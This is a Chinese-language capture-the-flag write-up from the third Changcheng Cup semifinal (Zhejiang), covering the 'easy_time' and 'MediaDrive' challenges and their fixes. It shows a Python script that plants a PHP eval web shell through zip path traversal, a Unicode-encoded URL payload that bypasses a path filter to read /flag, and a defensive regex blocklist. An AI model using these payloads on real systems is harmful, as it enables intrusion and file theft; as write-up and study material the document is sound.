第三届长城杯半决赛（浙江）

不是炒米线2026-03-222026-03-22

非常好杭电，使我大脑旋转。

Day -1：恰点好的

food1
food2

AWDP

第一次打AWDP，缺少fix的经验，但做了之后发现难度适中，可能还是check比较惊心动魄hhh。

easy_time

这题做的比较难受，给的题干和名字感觉不知道有什么用。5000端口有个flask，80端口有个PHP 8.2。

其中flask头像fetch存在ssrf；同时有上传插件zip解压功能。PHP部分完整源码如下：
index.php

<?php

echo "hello ctfer! Do it. No excuses.";

?>

phpinfo.php

<?php

phpinfo();

?>

date.php

<?php
$path = (isset($_GET['path']) && $_GET['path'] !== '') ? $_GET['path'] : 'index.php';
echo filemtime("index.php");
?>

这个easy_time感觉很没有头绪，但是python端的解压zip存在路径穿越，那么break是简单的。

break

插件上传页面提示上传 zip 插件包并安全解压（已做路径校验）。，但实际上并没有做路径校验。直接写马

import zipfile

with zipfile.ZipFile("exp.zip", "w") as zf:
    zf.writestr("../../../var/www/html/test.php", "test<?php @eval($_GET['a']) ?>")

ls /发现有entrypoint.sh，读一下找到flag位置/tmp/123123123_flag
flag

fix

赛后和void2eye交流，发现break可能只是其中一个预期解。

index.py有很多安全的过滤函数没有用上，稍作修改，并且在处理函数处使用，可以抵御我的payload，但是依然漏洞利用成功。

出题人的预期解应该是和文件修改时间有关，是PHP缓存机制的漏洞。PHP会在/tmp写缓存文件，并且下次会使用这个缓存文件，这可能导致文件包含。并且缓存的文件名是依照特定算法生成的。

这一部分稍后再补，先写wp。

MediaDrive

题目有文件上传，支持设置预览时的编码格式（有”UTF-8”, “GBK”, “BIG5”, “ISO-2022-CN-EXT”）。Cookie是反序列化数据，包含用户名、编码格式和baseUrl。

题目提示用户Cookie、文件预览、路径转换存在漏洞。

$rawPath = $user->basePath . $f;

if (preg_match('/flag|\/flag|\.\.|php:|data:|expect:/i', $rawPath)) {
    http_response_code(403);
    echo "Access denied";
    exit;
}

题目自带了这样的过滤，所以很显然是利用编码绕过，并且进行目录穿越。不过，baseUrl的反序列化貌似无效，很奇怪。

题目在处理传入的文件名时，会把文件名从设置的编码格式转为UTF-8。凭直觉，漏洞肯定在ISO-2022-CN-EXT上。因为其他机制在处理ASCII字符时性状基本一致。而这个ISO-2022这么新，一看就和Unicode脱不了关系。

厨子试了好多种encode方式，发现用Unicode编码就可以绕过。

break

ISO-2022-CN-EXT存在unicode转换漏洞，用unicode绕过：

1	http://10.11.253.13:24592/preview.php?f=.Ì¶Ì².Ì¶Ì²/Ì¶Ì².Ì¶Ì².Ì¶Ì²/Ì¶Ì².Ì¶Ì².Ì¶Ì²/Ì¶Ì².Ì¶Ì².Ì¶Ì²/Ì¶Ì²fÌ¶Ì²lÌ¶Ì²aÌ¶Ì²gÌ¶Ì²

f参数转为UTF-8后是../../../../flag
unicode
直接出了，很神奇。
flag

fix

这题修起来比较容易。首先是确保转换后无法穿越：

1	$convertedPath = str_replace(['../', './'], '', $convertedPath);

顺便修一下反序列化（虽然我没利用成功）：

1	$user->basePath = "/var/www/html/uploads/";

接着就是看起来会被cookie反序列化覆盖的地方就原来的代码复制几份：

$uploadsDir = "/var/www/html/uploads/";

if (preg_match('/flag|\/flag|\.\.|php:|data:|expect:/i', $convertedPath)) {
    http_response_code(403);
    echo "Access denied";
    exit;
}